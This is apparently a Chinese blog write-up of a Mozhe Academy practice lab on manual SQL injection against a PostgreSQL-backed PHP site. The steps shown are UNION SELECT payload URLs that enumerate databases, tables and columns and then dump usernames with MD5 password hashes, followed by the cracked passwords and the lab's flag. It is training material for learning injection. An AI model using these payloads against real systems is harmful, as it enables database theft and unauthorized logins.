当前位置: 首页 > news >正文

SQL手工注入漏洞测试(PostgreSQL数据库)-墨者


———靶场专栏———


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

        墨者学院

简介:

        安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+PostgreSQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解PostgreSQL的数据结构;
4.了解字符串的MD5加解密;

解题方向:

        手工进行SQL注入测试,获取管理密码登录。


解题思路:

        postgreSQL和mysql语法和数据库结构上有区别,但整体思路区别不大。

还是熟悉的管理系统登陆界面,还是熟悉的平台停机维护通知。


解题步骤:

        

        一、验证注入点

http://124.70.71.251:41459/new_list.php?id=1 and 1=1

页面显示正常

报错一下看看

http://124.70.71.251:41459/new_list.php?id=1 and 1=2

ok,那注入点就是在这里了。


        二、order by猜列

确定了,四个字段。


        三、测试回显

用select语句测一下回显。跟mysql有些不一样,postgreSQL是用null来测试回显点的。

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,null,null

依次给每个null加上单引号。

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,'null','null',null

第二个和第三个位置有回显,接下来进行注入。


        四、数据库信息获取

version()数据库版本

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,version(),null

PostgreSQL 9.5.13 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609, 64-bit

current_user数据库用户

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_user,null

postgres

current_database()数据库名

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,current_database(),null

mozhedvcms


        五、查数据

①查数据库名

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(datname,','),null from pg_database

template1,template0,postgres,mozhedvcms

②查表名

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables

notice,reg_users

③查列名

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

id,name,password,status

④查数据

http://124.70.71.251:41459/new_list.php?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

六、MD5解密登陆

(1)mozhe1,085631f437f337ecbb741d2d9bb73b7d(544041)

(2)mozhe2,1c63129ae9db9c60c3e8aa94d3e00495(1qaz2wsx)

mozhe1成功登陆,KEY:mozhe2cf8a74af7074d9688e835190f9


总结:

        难度:★★☆☆☆☆☆☆☆☆

        分析:

        很难评价,直接就把不熟练写在了脸上了,而且原理还是很模糊。


http://www.lryc.cn/news/252313.html

相关文章:

  • STM32单片机项目实例:基于TouchGFX的智能手表设计(1)项目介绍及GUI界面基础
  • 【超详细教程】基于html+js实现轮播图
  • C++11(上)
  • web前端开发规范、HTML规范、JavaScript规范、style规范
  • 骨传导耳机会影响听力么?盘点骨传导耳机的好处与坏处都有哪些?
  • 前端与VR/AR:代码的魔法穿越
  • elment Loading 加载组件动态变更 text 值bug记录
  • Typora免费版安装教程(仅供学习)
  • SSM项目实战-前端-添加分页控件-调正页面布局
  • C语言从入门到实战——常用字符函数和字符串函数的了解和模拟实现
  • nodejs+vue+elementui网上家电家用电器数码商城购物网站 多商家
  • 32.768KHz时钟RTC晶振精度PPM值及频差计算
  • SQL Server 数据库,创建数据表
  • Vue3引入markdown编辑器--Bytemd
  • JS实现基数排序
  • 【蓝桥杯】二分查找
  • 大于2T磁盘划分并挂接
  • 蓝桥杯每日一题2023.12.3
  • Nacos源码解读04——服务发现
  • SAP系统邮件功能配置 SCOT <转载>
  • 数据结构——二叉树(相关术语、性质、遍历过程)
  • 详细学习Pyqt5的9种显示控件
  • SpringBoot+vue美食外卖点餐系统的研究与设计
  • 行业分析:轻轨行业发展现状及市场投资前景
  • 智安网络|语音识别技术:从历史到现状与未来展望
  • 揭秘预付费电表怎么无线收费——方便快捷收费
  • OpenCV-Python:图像卷积操作
  • 创建Vue项目
  • T-SQL的多表查询
  • 适合学生备考的护眼台灯有哪些?五款公认优质台灯推荐